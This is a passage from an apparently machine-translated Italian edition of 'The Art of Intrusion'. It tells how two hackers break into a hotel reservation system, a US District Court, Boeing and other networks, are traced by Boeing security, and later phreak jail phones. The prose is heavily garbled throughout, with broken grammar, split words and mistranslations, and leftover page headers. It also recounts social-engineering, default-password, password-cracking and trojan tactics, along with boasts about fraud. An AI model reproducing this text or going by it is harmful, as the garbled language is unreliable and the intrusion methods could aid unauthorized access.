Oh, e non c'era un albergo nella zona di Seattle. Li avevo chiamato e ha agito come se fosse un tecnico software per l'azienda che ha fatto la software di prenotazione dell'hotel. Ho parlato con una delle signore alla reception e ha spiegato che stavamo avendo alcune difficoltà tecniche, e lei non sarebbe in grado di fare il suo lavoro correttamente a meno che lei è andato avanti e ha fatto alcuni cambiamenti. "

Con questo standard, familiare ingegneria sociale mossa, Matt facilmente scoperto le informazioni di accesso per il sistema. "Il nome utente e Password erano 'hotel' e 'imparare'. "Quelli erano gli sviluppatori di software ' impostazioni di default, non è mai cambiato.

L'arte dell'intrusione

72

Il break-in ai computer del primo hotel ha fornito loro un apprendimento ing curva su un pacchetto software prenotazioni alberghiere che si è rivelata abbastanza ampiamente utilizzato. Quando i ragazzi di mira un altro hotel alcuni mesi più tardi, hanno scoperto che anche questa, potrebbero utilizzare il software che erano già a conoscenza. E hanno capito l'hotel potrebbe utilizzare la stesse impostazioni predefinite. Avevano ragione su entrambi i fronti. Secondo Costa: *Abbiamo effettuato l'accesso al computer dell'albergo. Ho avuto uno schermo fundamentalmente solo*

come avrebbero proprio lì in albergo. Così ho collegato e prenotato una suite, una delle top 300 dollari suite di notte con acqua vista e il bar e tutto.

Ho usato un nome falso, e mettere una nota che un deposito in contanti \$ 500 aveva effettuati alla stanza. Riservato per una notte di inferno-raising. Noi

fondamentalmente rimasto lì per tutto il weekend, festeggiato, e svuotato il mini bar.

Il loro accesso al sistema informatico della struttura ha anche dato loro l'accesso ai informazioni su ospiti che avevano soggiornato presso l'hotel, "compreso il loro informazioni finanziarie. "

Prima di controllare fuori l'hotel, i ragazzi fermati dalla reception e trovato a cambiamento da loro "deposito in contanti." Quando l'impiegato ha detto l'hotel avrebbe mandato un assegno, gli hanno dato un indirizzo falso e sinistra. "Non ci hanno mai condannato per questo," Costa dice, aggiungendo: "Speriamo che il prescrizione è alto. "Qualche rimpianto? Difficilmente. "Quello era un po ' po 'di un payoff in quel bar bagnato ".

Apertura di una porta

Dopo quel fine settimana selvaggia, i ragazzi incoraggiati tornarono al loro computer per vedere che altro potevano fare con l'hack nel Distretto Court. Ben presto scoperto che il sistema operativo del giudice computer era stato acquistato da una società che chiameremo successiva.

Il software ha una funzione built-in che farebbe scattare una telefonata a Sono stati necessari patch software in qualsiasi momento successivi - per esempio, "Se un cliente di un computer successivo comprò un firewall e il funzionamento patch necessarie per il firewall di sistema per eseguire, l'azienda ha avuto un metodo per l'accesso al proprio sistema informatico aziendale per ottenere le patch. Questo è fondamentalmente come era allora, "Costa ha spiegato.

Matt aveva un amico, un altro programmatore C, che ha avuto la capacità di scrivere un Trojan - un pezzo di software che fornisce un modo segreto per un hacker tornare su un computer che ha fatto la sua strada in precedenza. Questo era molto utile se le password vengono modificate o sono prese altre misure per bloccare l'accesso. Attraverso il computer presso la Corte distrettuale, Matt ha inviato il Trojan al

Capitolo 4 Cops and Robbers
73

Successivamente computer aziendale. Il software è stato progettato in modo che sarebbe anche "catturare tutte le password e scrivere in un file segreto, come così come ci permettono una radice [Amministratore accesso] bypass in caso abbiamo mai avuto bloccato ".

Ottenere nel computer successiva li ha portati un inaspettato

Bonus: l'accesso a un elenco di altre società che esegue il OPERATE successiva sistema opera-. Oro puro. "Ci ha detto quali altre macchine che potrebbero accesso. "Una delle società citate nella lista era un gigante ditta locale, il luogo in cui il padre di Matt lavorava: Boeing Aircraft.

"Abbiamo ottenuto un nome utente e password dell'ingegnere successiva, e hanno lavorato sulle scatole che aveva venduto Boeing. Abbiamo scoperto che avevamo accesso a login nomi e password per tutte le caselle Boeing ", ha detto Costa.

La prima volta che Matt ha chiamato il numero di telefono per le connessioni esterne al sistema di Boeing, ha colpito un colpo di fortuna.

L'ultima persona che ha chiamato in non aveva appeso il modem correttamente in modo che quando ho chiamato in realtà ho avuto una sessione sotto qualche utente. Avevo Unix shell di qualche ragazzo e 'come, "Wow, sono improvvisamente in impronta del ragazzo. "

(Alcuni modem dial-up primi non sono stati configurati in modo che sarebbe auto-automaticamente disconnettere il sistema, quando un chiamante ha riagganciato. Da giovane,

quando-
mai avrei imbattersi in questo tipo di configurazione di modem, I
causerebbe la connessione dell'utente per essere lasciato cadere da una inviando un
comando per un interruttore compagnia telefonica, o con l'ingegneria sociale una
tecnico telaio per tirare la connessione. Una volta che la connessione è stata scoli
ken, potrei chiamare e avere accesso al conto che è stato registrato in a
il tempo della connessione caduto. Matt e Costa, dall'altro,
era semplicemente incappato in un collegamento che era ancora vivo.)
Avere Unix shell di un utente ha fatto sì che fossero all'interno del firewall, con
il computer a tutti gli effetti in piedi da, in attesa che dia istruzioni.

Matt ricorda:

*Così immediatamente sono andato avanti e incrinato la sua password e quindi
Ho usato che su alcune macchine locali in cui sono stato in grado di ottenere radice
[Amministratore di sistema] accesso. Una volta ho avuto radice, potremmo usare un po '
degli altri account, provare ad andare su alcune delle altre macchine
le persone accedere, cercando in loro storia shell.*

Se si trattava di un caso che il modem è capitato di linea quando

Matt ha chiamato, cosa stava succedendo a Boeing quando Matt e Costa iniziarono
la pausa-in per la società è stata ancora maggiore coincidenza.

L'arte dell'intrusione

74

A guardia del Barricades

In quel momento, la Boeing Aircraft era ospitare un computer rezza di alto livello
Seminario rezza per un pubblico che comprendeva persone provenienti da aziende, la legge
applicazione, FBI, e il Servizio Segreto.

Supervisione della sessione è stata Don Boelling, un uomo intimo con Boeing
le misure di sicurezza per computer e gli sforzi per migliorare la loro. Don aveva
combattuto le battaglie di sicurezza interna per un certo numero di anni. "Il nostro
la sicurezza della rete e l'informatica era come ovunque, era fundamentalmente
zip. Ed ero davvero preoccupato per questo. "

Già nel 1988, quando era con la Boeing di nuova formazione
Elettronica, Don aveva camminato in un incontro con il presidente della divisione
e diversi vicepresidenti e ha detto: "Guarda che cosa posso fare con
la rete. "Ha violato linee modem e ha dimostrato che non vi erano
le password su di loro, e ha continuato a dimostrare di poter attaccare qualunque
macchine che voleva. I dirigenti hanno visto un computer dopo l'altro che
aveva un account guest con la password "guest". E ha mostrato come un
conto del genere rende facile per accedere al file di password e scaricare
a qualsiasi altra macchina, anche al di fuori della società.

Aveva fatto il suo punto. "Che ha avviato il programma di sicurezza informatica a
Boeing, "ci ha detto Don. Ma lo sforzo è stato ancora nella sua infanzia, quando Matt e
Costa ha iniziato le loro irruzioni. Lui aveva avuto "un momento difficile convincere
gestione di mettere realmente risorse e dei finanziamenti in sicurezza informatica. "

L'episodio Matt e Costa risulterebbe essere "quello che ha fatto per me."

Il suo ruolo coraggiosa come portavoce per la sicurezza ha portato a Don all'organizzazione
izing la classe forense innovativo a Boeing. "A go-

agente verno ci ha chiesto se volevamo aiutare avviare un gruppo di legge
polizia e dell'industria persone per generare le informazioni. L'organizzazione
zione è stato progettato per aiutare le forze dell'ordine treno in tecnologia informatica

forensics, che coinvolgono indagini tecniche ad alta tecnologia. Quindi io ero uno di i principali attori che hanno contribuito a mettere insieme. Abbiamo avuto rappresentanti di Microsoft, US West, la compagnia telefonica, un paio di banche, diversi renza di- organizzazioni finanziarie. Agenti dei servizi segreti è venuto a condividere la loro conoscenza degli aspetti high-tech della contraffazione. "

Don è stato in grado di ottenere Boeing a sponsorizzare le sessioni, che si sono svolte in uno dei centri di formazione informatica dell'azienda. "Abbiamo portato in circa trentacinque agenti delle forze dell'ordine per ogni classe di una settimana su come di cogliere un computer, come scrivere il mandato di perquisizione, come fare il forensics sul computer, tutto funziona. E abbiamo portato a Howard Schmidt, che in seguito è stato reclutato sulla forza Homeland Security, rispondendo al Presidente per le cose cyber-crimine. "

Il secondo giorno della classe, cercapersone di Don andò. "Ho chiamato di nuovo l'amministratore, Phyllis, e lei disse, 'Ci sono alcune cose strane

Capitolo 4 Cops and Robbers

75

in corso in questa macchina e non riesco a capirlo. "Un certo numero di directory nascoste avevano quello che sembrava file di password in loro, lei ha spiegato. E un programma chiamato Crack era in esecuzione in background. Quella era una cattiva notizia. Crack è un programma progettato per rompere la crittografia zione delle password. Prova un elenco di parole o una lista dizionario, nonché permutazioni di parole come Bill1, Bill2, bill3 per cercare di discernere la password. Don mandò il suo socio, Ken ("il nostro guru sicurezza Unix") per dare un'occhiata. Circa un'ora dopo, Ken paging Don e gli disse: "È meglio che alzi Qui. Questo sembra che potrebbe essere piuttosto male. Abbiamo numerose password parole incrinato e non appartengono a Boeing. Ce n'è uno in partilar si ha realmente bisogno di guardare. "

Nel frattempo, Matt era stato duramente al lavoro all'interno del computer Boeing reti. Una volta aveva ottenuto l'accesso con l'amministratore di sistema legio leges, "era facile accedere ad altri account, cercando in alcuni dei altre macchine quelle persone avevano accesso. "Questi file spesso avevano tele- i numeri di telefono per i fornitori di software e altri computer della macchina chiamerebbe. "Una directory primitiva di altri host che erano là fuori," dice Matt. Presto i due hacker sono stati di accesso a banche dati di una varietà delle imprese. "Abbiamo avuto le nostre dita in un sacco di posti", dice Costa. Non volendo lasciare il seminario, Don chiesto Ken al fax giù quello che è stato vedere sullo schermo dell'amministratore. Quando la trasmissione è arrivato, Don fu sollevato non riconoscere nessuno dei ID utente. Tuttavia, è stato perplesso per il fatto che molti di loro hanno cominciato con "giudice". Poi lo ha colpito:

Sto pensando, "Oh mio Dio!" Sono entrato in questa aula piena di forze dell'ordine e ha detto, "Do you guys riconoscere qualsiasi questi nomi? "Ho letto fuori un elenco dei nomi. Un ufficiale federale ha spiegato, "Sono giudici della Corte Distrettuale degli Stati Uniti a Seattle. "E io dissi:" Bene, ho un file di password qui con 26 password cracking. "Quelle ufficiali federali circa diventato verde.

Don guardò come un agente dell'FBI aveva lavorato in passato ha fatto un paio di telefonate.

Egli chiama la Corte Distrettuale degli Stati Uniti e si impossessa del sistema

amministratore. Posso davvero sentire questo ragazzo dall'altra parte della linea che, "No, nessun modo. Non sei connesso a Internet. Non possono ottenere i nostri file di password. Non credo che sia il nostro macchinista". E Rich sta dicendo: "No, è la macchina. Abbiamo i file delle password". E questo ragazzo sta andando, "No, non può accadere. Le persone non possono entrare nelle nostre macchine."

L'arte dell'intrusione

76

Pagina 98

Don guardò la lista in mano e vide che la password di root parola - la parola d'ordine di livello superiore noto solo agli amministratori di sistema - era stato incrinato. Indicò fuori per Rich.

Rich dice al telefono, "è la tua password di root '2ovens'?"

Il silenzio guasto sull'altra estremità della linea. Tutti abbiamo sentito era un "Thunk", dove la testa di questo ragazzo ha colpito il tavolo.

Mentre tornava in classe, Don percepì una tempesta. "Ho detto, 'Be', ragazzi, è il momento per qualche allenamento vita reale on-the-job. "

Con parte del tag classe di lungo, Don preparati per la battaglia. In primo luogo, egli andato al centro di calcolo di Bellevue dove si trovava il firewall.

"Abbiamo trovato il conto che era effettivamente in esecuzione il programma Crack, la uno l'aggressore è stato accede dentro e fuori, e l'indirizzo IP è stato provenienti da. "

A questo punto, con il loro programma password di cracking esecuzione sul Boeing computer, i due hacker si erano trasferiti nel resto del Boeing sistema, "Spider-tessitura" out per accedere centinaia di computer Boeing.

Uno dei computer che il sistema Boeing collegato a non era nemmeno a Seattle. In effetti, è stato sulla costa opposta. Secondo Costa:

E' stato uno dei computer del laboratorio Jet Propulsion a Langley della NASA Laboratori di ricerca in Virginia, un Cray YMP5, uno della corona jewels. Questo è stato uno dei nostri momenti decisivi.

Tutti i tipi di cose per la mente. Alcuni dei segreti potrebbe fare me ricchi, o morto, o veramente colpevole.

Le persone al seminario si alternavano a guardare il divertimento nel centro di calcolo. Essi sono stati storditi quando il team di sicurezza Boeing display coperte le loro aggressori avevano ottenuto l'accesso al Cray, e Don potrebbe crederci. "Siamo stati in grado di molto rapidamente, nel giro di un'ora o due, stabilire che il punto di accesso e dei punti di accesso al firewall".

Nel frattempo, Ken istituito trappole virtuali sul firewall per determinare quali altri conti gli aggressori avevano violato.

Don suonò la compagnia telefonica locale e ha chiesto di avere una "trappola e tracciare" mettere sulle linee modem Boeing che gli aggressori stavano usando. Questo è un metodo che cattura il numero di telefono che le chiamate erano provenienti da. Il popolo di telefono d'accordo senza esitazione.

"Facevano parte del nostro team e sapevano chi ero, senza fare domande.

Questo è uno dei vantaggi di essere in queste squadre delle forze dell'ordine".

Don messo portatili nei circuiti tra i modem e la puter

ERS, "fondamentalmente per memorizzare tutte le sequenze di tasti in un file." Ha anche collegato

Capitolo 4 Cops and Robbers
77

Stampanti Okidata per ogni macchina "per stampare tutto ciò che hanno fatto in tempo reale tempo. Ho avuto bisogno di prove. Non si può discutere con la carta come si può con un file elettronico. "Forse non è sorprendente se si pensa che un gruppo di giurati è più probabile credere: un file elettronico o documento stampato al molto momento dell'incidente.

Il gruppo è tornato al seminario per qualche ora in cui Don delineato la situazione e le misure difensive adottate. Gli agenti delle forze dell'ordine sono stati sempre hands-on, l'esperienza post-laurea in computer forensics. "Siamo tornati a fare un po' più di lavoro e controllare quello che avevamo, e mentre mi trovavo lì con due agenti federali e il mio partner, il modem si spegne. Bingo, questi ragazzi è venuto in, connesso al conto ", ha detto Don.

La società telefonica locale monitorato Matt e Costa alle loro case. Il squadra osservò gli hacker connessi al firewall. Poi trasporto FERRED verso l'Università di Washington, dove hanno effettuato l'accesso per Conto di Matt Anderson.

Matt e Costa avevano preso precauzioni che pensavano avrebbe protetto loro chiamate vengano rintracciati. Per prima cosa, invece di comporre Boeing direttamente, stavano chiamando nei computer District Court e poi instradamento di una chiamata da parte della Corte di Boeing. Hanno capito che "se ci fosse Ci monitoraggio a Boeing qualcuno, stavano probabilmente avendo un ruvido tempo per capire dove la nostra chiamata è stata provenienti da ", ha detto Costa. Non avevano idea ogni loro mossa è stata osservata e registrata come Matt composto nella Corte, da lì a Boeing, e poi trasferito sul suo conto personale dello studente.

Dato che eravamo così nuovo sul [la Corte Distrettuale] del sistema e la password parola e nome utente sono stati "pubblica", al momento non ho pensato che era una minaccia, o venivo pigro. Quella linea diretta è quello che ha dato loro la traccia al mio appartamento ed è lì che tutto è crollato.

La squadra di Don sembrava la mosca proverbiale sul muro come Matt ha iniziato lettura zione l'e-mail sul suo account studente. "In email di questo tipo è tutta questa roba sui loro exploit di hacker e le risposte da altri hacker. "

Gli agenti delle forze dell'ordine sono seduti lì a ridere il culo off, perche 'questi sono fondamentalmente i bambini arroganti, non considerando avevano catturati. E noi stiamo a guardare loro prodotti in tempo reale prove proprio lì nelle nostre mani.

Nel frattempo, Don stava strappando i fogli fuori della stampante, avendo Tutorcorp segno come testimone, e quindi di tenuta come prova. "In meno di sei L'arte dell'intrusione

78

ore dal punto sapevamo di questa intrusione, abbiamo già avuto questi ragazzi sulla trasgressione criminale. "

Gestione Boeing non rideva. "Erano spaventati dal loro ingegno e volevano gli hacker terminati - 'li Scendere computer e chiudere tutto questo fuori *proprio adesso* '. "Don è stato in grado di convincerli che sarebbe più saggio aspettare. "Ho detto, 'Non sappiamo quanti posti questi ragazzi hanno ottenuto in. Dobbiamo monitorare loro per un po' e scoprire che cosa

il diavolo sta succedendo e quello che hanno fatto. "Se si considera il rischio, è stata una notevole testimonianza competenze professionali di Don che la gestione capitolò.

Sotto sorveglianza

Uno degli ufficiali federali presenti al seminario ottenuto mandati per maschiatura ping Matt e telefoni di Costa. Ma le intercettazioni erano solo una parte lo sforzo. A questo punto il governo federale stava prendendo il caso molto seriamente. L'azione aveva assunto aspetti di un film di spionaggio o di un thriller: Agenti dell'FBI sono stati inviati al campus in team. Fingendosi studenti, inseguirono Matt intorno campus, notando le sue azioni in modo che sarebbe poi in grado a testimoniare che a un certo momento particolare, stava usando un particolare computer nel campus. Altrimenti sarebbe facile affermare: "Non sono stato io - un sacco di persone usano quel computer ogni giorno. "Era successo prima.

Sul lato Boeing, il team di sicurezza ha preso tutte le precauzioni che potevano pensare. L'obiettivo non era quello di tenere i ragazzi fuori, ma a guardare da vicino, conti- per raccogliere prove, badando che non hanno fatto alcun danno.

Don spiega, "Avevamo tutte le principali punti di ingresso dei nostri computer" istituito a in cui o l'amministratore di sistema o il computer sarebbe pagina us e fateci sapere qualche attività era in corso. "beep del cercapersone divenne Un grido di "posti di combattimento." I membri del team immediatamente notificato select individui su una lista di chiamate per far loro sapere che gli hacker erano in agguato nuovo. Più volte, il gruppo di Don monitorato elettronicamente Matt e Costa del l'attività attraverso l'Università di Washington - dove il personale chiave era stato informato - tutto il percorso attraverso Internet, da punto a punto. Esso era come essere a fianco i due come hanno fatto la rottura effettiva.

Don decide di guardarli per altri quattro o cinque giorni, perché "Di principio mente abbiamo avuto li abbastanza bene contenuti e non stavamo facendo nulla che considererei estremamente pericoloso, anche se avevano considerevole accesso in grado e potrebbe avere se volevano. "

Ma Costa presto imparato qualcosa era su:

Una sera la mia ragazza e io eravamo seduti nel mio appartamento guardare la tv. E 'stata una notte d'estate, e la finestra era aperta, ed è divertente, ma ha guardato fuori ... e notò auto

Capitolo 4 Cops and Robbers

79

parcheggio della Pay & Save. Beh, circa un'ora dopo, lei guardò fuori di nuovo e disse: "C'è una macchina al di fuori con i ragazzi in essa che era là fuori un'ora fa. "

Costa spento la tv e le luci e cominciò a videotape l'FBI

Agenti guardando il suo posto. Poco dopo, ha visto una seconda auto pull up next al primo. Gli uomini delle due vetture hanno discusso qualcosa e poi entrambi partì.

Il giorno dopo, un gruppo di ufficiali si presentò a casa di Costa. Quando chiese, hanno riconosciuto che non avevano un mandato, ma Costa voluto guardare come se stesse collaborando in modo non hanno sollevato obiezioni ad essere intervistati. Lui non ha fatto obiezioni, o, quando gli chiesero di chiamare Matt e lui tirare fuori circa le attività del telefono cellulare, mentre hanno registrato il conversazione.

Perché era disposto a chiamare il suo più caro amico e parlare loro illegale

attività con le forze dell'ordine in ascolto? Semplice: Scherzando intorno uno sera, giocando una variazione di "What if?" i due avevano effettivamente previsto un situazione in cui potrebbe essere pericoloso per parlare liberamente e aveva messo a punto una codice. Se uno di loro è sceso "nove, dieci" nella conversazione, sarebbe significa "Pericolo! guardare quello che dici." (Hanno scelto il numero facile da ricordo, essendo uno in meno del numero di telefono di emergenza, 911) Quindi, con il telefono sotto controllo e il registratore in esecuzione, Costa composto Matt. «Ti ho chiamato pochi minuti fa, alle nove e dieci, e non poteva ottenere attraverso," cominciò.

Chiusura In

La squadra di sorveglianza Boeing ha ormai scoperto gli hacker erano non solo entrare nella Corte Distrettuale degli Stati Uniti, ma anche in Environmental Protection Agency. Don Boelling andato al EPA con la cattiva notizia. Come l'amministratore di sistema per la Corte Distrettuale degli Stati Uniti, i ragazzi EPA erano scettici di qualsiasi violazione del loro sistema.

Stiamo dicendo loro le loro macchine sono stati compromessi e per loro era inconcepibile. Stanno dicendo: "No, no." Mi è capitato di portare il file delle password con 10 o 15 password cracking, e dico loro la password dell'amministratore di rete.

Sono quasi pronto a vomitare, perché si scopre che tutto sei macchine centinaio di tutti gli Stati Uniti sono attaccati alla Internet dallo stesso account. E 'stato un privilegio di root di sistema conto e tutti avevano la stessa password.

L'arte dell'intrusione

80

Il popolo delle forze dell'ordine presenti al seminario di sicurezza informatica sono stati sempre molto più di quanto avevano aspettata. "Per i ragazzi che non uscire con noi nel campo, "Don ha detto," ogni giorno ci torneremo a l'aula e il dettaglio quello che abbiamo fatto. Stavano diventando una prima mano conto di tutto quello che stava succedendo con il caso. "

Il passato raggiunge

Perché lui è stato colpito con l'abilità che gli hacker avevano dimostrato, Don è stato sorpreso di apprendere che avevano appena due mesi prima stati in tribunale su altre spese, con conseguente Costa ricevono quella frase a 30 giorni di rilascio lavoro.

Eppure qui erano di nuovo a infrangere la legge, come se invulnerabile.

Come mai? Costa ha spiegato che lui e Matt erano già preoccupati perché c'era molto di più per il caso originale rispetto al procuratori tori avevano scoperto.

Era una specie di grande palla di neve dove trovarono solo un piccolo pezzo di ghiaccio. Non sapevano che stavamo facendo i telefoni cellulari, che non sapeva che avevamo numeri di carta di credito, non sapevano la portata di ciò che ci avevano preso per. Perché Matt ed io abbiamo avuto già parlato nostro caso, abbiamo parlato di quello che siamo stati andare a dire loro. E così avevamo pled fuori a questo computer trespass e era solo un po 'come un "ha-ha" per noi. E 'stato stupido.

Sul Notizie

Don stava guidando da Bellevue a struttura South Central della Boeing dove il suo ufficio era quando ha ottenuto una scossa. "Ho avuto notizie KIRO su e tutto

All'improvviso ho sentito questa storia di rottura che due hacker hanno arrestato in Boeing e c'è un'indagine federale. Sto pensando, 'Accidenti!' "

La storia era stata trapelata da un dipendente della Boeing infelice con il decisione di guardare attività Matt e Costa di invece di arrestarli immediatamente, Don poi scoperto. Don ha corso nel suo ufficio e ha chiamato tutti i soggetti coinvolti. "Ho detto, 'Guarda, questa cosa ha rotto! E 'sul notizie! Dobbiamo fare qualcosa *ora* '. Howard Schmidt era lì e di essere un esperto di scrittura di mandati di perquisizione per i computer, ha fatto un passo in e li ha aiutati in modo azzecato -. quindi non c'era alcun dubbio al riguardo "

In realtà, Don non era troppo sconvolto per la perdita. "Eravamo abbastanza vicino a busting loro comunque. Abbiamo avuto un sacco, un sacco di prove su questi ragazzi. "

Ma sospettava ci fosse ancora di più che non era venuto alla luce ancora.

"Ci sono alcune cose che abbiamo pensato che erano in, come le frodi con carta di credito.

Capitolo 4 Cops and Robbers

81

Più tardi hanno fatto rimanere intrappolati per questo. Penso che sia stato sei mesi o un anno poi che i servizi segreti li inchiodato. "

Arrestato

Costa sapeva che avrebbe dovuto essere in arrivo, e non è stato sorpreso dalla bussare mano pesante sulla sua porta di casa. A quel punto aveva già visualizzato posto di quattro quaderni pieni di prove incriminanti. A quel punto non aveva modo di sapere che, grazie a Don Boelling, i federali avevano tutti i prove che avrebbero mai bisogno di condannarlo e Matt.

Matt ricorda di aver visto la storia di un break-in computer a Boeing in televisione a casa dei suoi genitori. Verso le 10

P

.

M

., C'era un bussare

la porta d'ingresso. E 'stato due agenti dell'FBI. Lo intervistato nei DIN stanza ing per circa due ore, mentre i suoi genitori dormivano al piano di sopra. Matt non ha voglia di svegliarli. Aveva paura di.

Don Boelling sarebbe andato lungo sull'arresto se poteva avere.

Nonostante tutti i suoi buoni collegamenti, che non è stato invitato. "Non erano troppo desiderosi di avere civili andare sul busto reale. "

Boeing si è preoccupato di sapere che uno degli hacker aveva un nome che abbinato un dipendente di. Matt non era felice di vedere suo padre trascinato in il disordine. "Da quando papà lavorato a Boeing e condividiamo lo stesso nome, in realtà è stato interrogato. "Costa si è affrettato a precisare che erano stati Fare attenzione a non accedere a Boeing utilizzando una delle informazioni del padre di Matt. "Lui totalmente mantenuto il suo padre fuori dal giro e non voleva coinvolgerlo da il get-go, anche prima abbiamo mai pensato che saremmo stati nei guai. "

Don era un po 'mi scocciava quando l'agente speciale in carica presso l'FBI del Sede di Seattle è stato intervistato dopo il caso ha rotto. Uno del televisore i giornalisti ha chiesto come avevano rintracciato e catturato gli hacker. L'agente risposto qualcosa come: "L'FBI utilizzato procedure tecniche e tecno- niche troppo complicato per discutere qui. "Don pensò,

"Sei pieno di merda! Non hai fatto niente! *Abbiamo* fatto! ""A tutta mento gruppo dinato era stato coinvolto, persone provenienti da Boeing ;, da altri com-

imprese; della Corte distrettuale; e da, statale e legge federale locale agenzie di applicazione. "Questa è stata la prima volta che abbia mai fatto nulla come questo. E 'stato un lavoro di squadra. "

Fortunatamente, Matt e Costa avevano fatto pochi danni considerando il potenziale caos che avrebbe inflitto. "Per quanto riguarda in realtà danneggiare Boeing, in realtà non hanno fatto più di tanto ", ha riconosciuto Don. L'azienda ha ottenuto off facile ma ha voluto assicurarsi che la lezione è stata appresa. "Implorarono colpevole perché in fondo abbiamo dovuto loro morti a diritti. Non c'era modo stavano sfuggendo di questo, "Don ricorda con soddisfazione.

Ma ancora una volta le spese sono state ridotte; questa volta crimine multipla accuse di essere caduto in "computer trasgressione." I due camminarono con L'arte dell'intrusione

82

un altro schiaffo sul polso: 250 ore di servizio alla comunità e cinque anni prova senza uso del computer consentito. L'unica parte difficile era restituzione: Sono stato ordinato di pagare \$ 30.000, la maggior parte di Boeing. Anche se nessuno dei due era ancora minorenne, i ragazzi era stato dato un altro chance.

An End to Good Luck

Non avevano imparato una lezione.

Costa: Invece di fermarsi del tutto, essendo stupidi ragazzi che abbiamo erano, o non proprio stupido, ma ingenuo nel fatto che non abbiamo fatto rendiamo conto quanti problemi abbiamo potuto ottenere in. Non era proprio l'avidità ma più glamour di poter avere un telefono cellulare e usarlo a volontà.

Matt: Back in quel giorno è stato un grande affare. E 'stato un elemento molto sfarzoso avere.

Ma le interruzioni che Matt e Costa venivano consegnati dal penale sistema giudiziario stavano per finire. E la causa non sarebbe per qualsiasi ragione per cui avrebbe potuto prevedere, ma, di tutte le cose, la gelosia. Costa dice che la sua ragazza di allora pensava di barare su di lei con un'altra donna. Nulla del genere, dice Costa; l'altra signora era "semplicemente un amico, niente di più. "Quando lui non avrebbe rinunciato a vederla, Costa ritiene che la fidanzata ha chiamato le autorità e ha riferito che "il Hacker Boeing stanno vendendo computer rubati. "

Quando gli investigatori si presentò a casa di sua madre, Costa non era in ma sua madre era. «Oh, sì, vieni dentro", ha detto loro, che non ci sarebbe nulla di male.

Non hanno trovato alcuna refurtiva. Questa era la buona notizia. La cattiva notizia è che hanno trovato un pezzo di carta che era caduto a terra e stato perso a vista sotto il bordo di un tappeto. Su di esso è un numero di telefono e alcune cifre che un investigatore rilevati come serie elettronico numero. Un controllo con la compagnia telefonica ha rivelato che le informazioni è stato associato ad un account di cellulare che veniva utilizzato illegalmente. Costa sentito parlare del raid nella casa di sua madre e ha deciso di abbandonare fuori dalla vista.

Ero in fuga per cinque giorni dal Secret Service - avevano competente per le frodi telefono cellulare. Ero un fuggitivo. E così io era in realtà il soggiorno a casa di un amico a Seattle e che

era effettivamente venire a casa in cerca di me, ma la macchina

Capitolo 4 Cops and Robbers

83

Pagina 105

*che stavo guidando era ancora in nome della persona che prece-
neamente di proprietà, quindi non ho farsi prendere.*

*Il quinto o sesto giorno, ho parlato con il mio avvocato e ho camminato
nell'ufficio del Probation Officer con lui e mi ha disputato.*

Sono stato arrestato e portato via.

Esecuzione del Secret Service - che era un periodo stressante.

Matt è stato preso, pure. I due si sono trovati in separato
piani di King County Jail di Seattle.

Jail Phreaking

Questa volta non ci sarebbe stato nessun processo, i ragazzi hanno imparato. Una volta che
l'indagine

era stato completato e l'Ufficio del Procuratore degli Stati Uniti ha elaborato i documenti,
la coppia sarebbe andato davanti a un giudice federale per violazione della loro libertà vigilata. No
prova, nessuna possibilità di mettere su una difesa, e non molte speranze di clemenza.

Nel frattempo si sarebbero ogni essere interrogati in dettaglio. Sapevano il
trapano: Tenere i cattivi separati e li scattano quando dicono dif-
storie di-

Matt e Costa hanno scoperto che in prigione, per loro, almeno, era un luogo più difficile
di carcere per scontare il tempo. "Contea di carcere è il peggiore, come nessun altro posto.

Sono stato minacciato da un paio di persone ", dice Costa. "Ho avuto in un
combattere. Se non abbaiano indietro, allora si sta andando ottenere masticato. "Matt
ricorda prendere pugni. "Penso che sia stato perché non ho avuto fuori
telefono. Quindi, lezione imparata ".

Jail era difficile in un altro modo. Costa ricorda:

*[Era] non sapendo cosa era accanto, perche 'ci siamo messi in
problemi già e sapevamo che eravamo nei guai modo più. Era
paura dell'ignoto più paura dei detenuti. Hanno appena detto
"Lock 'em up" e non c'era cauzione, nessun legame. E 'stato un federale
tenere. Non avevamo idea di dove stavamo andando da lì e siamo stati
indefinitamente bloccato.*

Carceri hanno generalmente due tipi di telefoni: telefoni a pagamento dove conversione
zioni sono monitorate per assicurarsi che i detenuti non sono tramando qualcosa
telefoni illegali e che si collegano direttamente all'Ufficio difensori pubblici così
che i detenuti possono parlare con i loro avvocati.

Al carcere di Seattle, le chiamate verso i difensori pubblici vengono selezionati da un elenco di
codici a due cifre. Matt ha spiegato, "ma se si chiama dopo ore, quello che fanno
ottenere? Sei nel loro sistema di posta vocale e si può entrare come molti tocco
toni come vuoi. "Ha iniziato ad esplorare il sistema di posta vocale.

L'arte dell'intrusione

84

Pagina 106

Era in grado di identificare il sistema come Meridian, un tipo lui e Costa
erano entrambi molto familiare, e lui programmato in modo che trasferirebbe
le sue chiamate a una linea esterna. "Ho messo su un numero di menu di otto, che il
annuncio vocale automatizzata non richiedere. Poi ho potuto comporre un

numero locale, e un codice a sei cifre che conoscevo. Da lì ho potuto chiamare un punto qualsiasi dove nel mondo. "

Anche se i telefoni sono stati spenti a 8

P

.

M

., Il pubblico

Linea difensori era sempre rimasto acceso. "Ci sarebbe solo giocare con i telefoni tutta la notte e non c'è nessuno in attesa di utilizzarli perché pensano sono spenti ", dice Costa. "Pensano solo che sei pazzo, seduto lì con il telefono. Così, appena ha funzionato alla perfezione. "

Mentre Costa stava scoprendo come fare chiamate esterne, Matt è anche utilizzando il telefono sulla propria unità di notte per fare un po 'esplorare il suo proprio. Egli trova un "numero di ponte in un vecchio ciclo" di un Pennsylvania tele-compagnia telefonica, che ha permesso sia di chiamare su un test compagnia telefonica numero e parlare tra di loro.

Le due ore passate sui telefoni non monitorate parlano tra un'altra. "Abbiamo avuto la possibilità di discutere il nostro caso prima nostre interviste. E 'stato a portata di mano, davvero a portata di mano ", dice Costa. Matt ha aggiunto, "Siamo lieti display

cuss sempre ciò che l'altro lato era stato detto. Volevamo avere Tut-cosa confermata. "

Parola diffusa tra i detenuti che i due nuovi ragazzi erano maghi con i telefoni.

Costa: Ho avuto un pò di grasso in là perché altre persone stavano dando me i loro vassoi per le chiamate telefoniche gratuite.

Matt: stavo iniziando a ottenere magro perché ero nervoso. Ero seduto lì con tutti i teppisti e non mi piaceva dare loro tutto quelle chiamate.

Seduto in carcere e infrangere la legge per fare telefonate illegali e pianificare le loro storie nella speranza di ingannare i pubblici ministeri. Per qualsiasi hacker, che è semplicemente divertente. Per Matt e Costa, significava rischiare di più accuse di essere impilati uno sopra di quelli che stavano già affrontando.

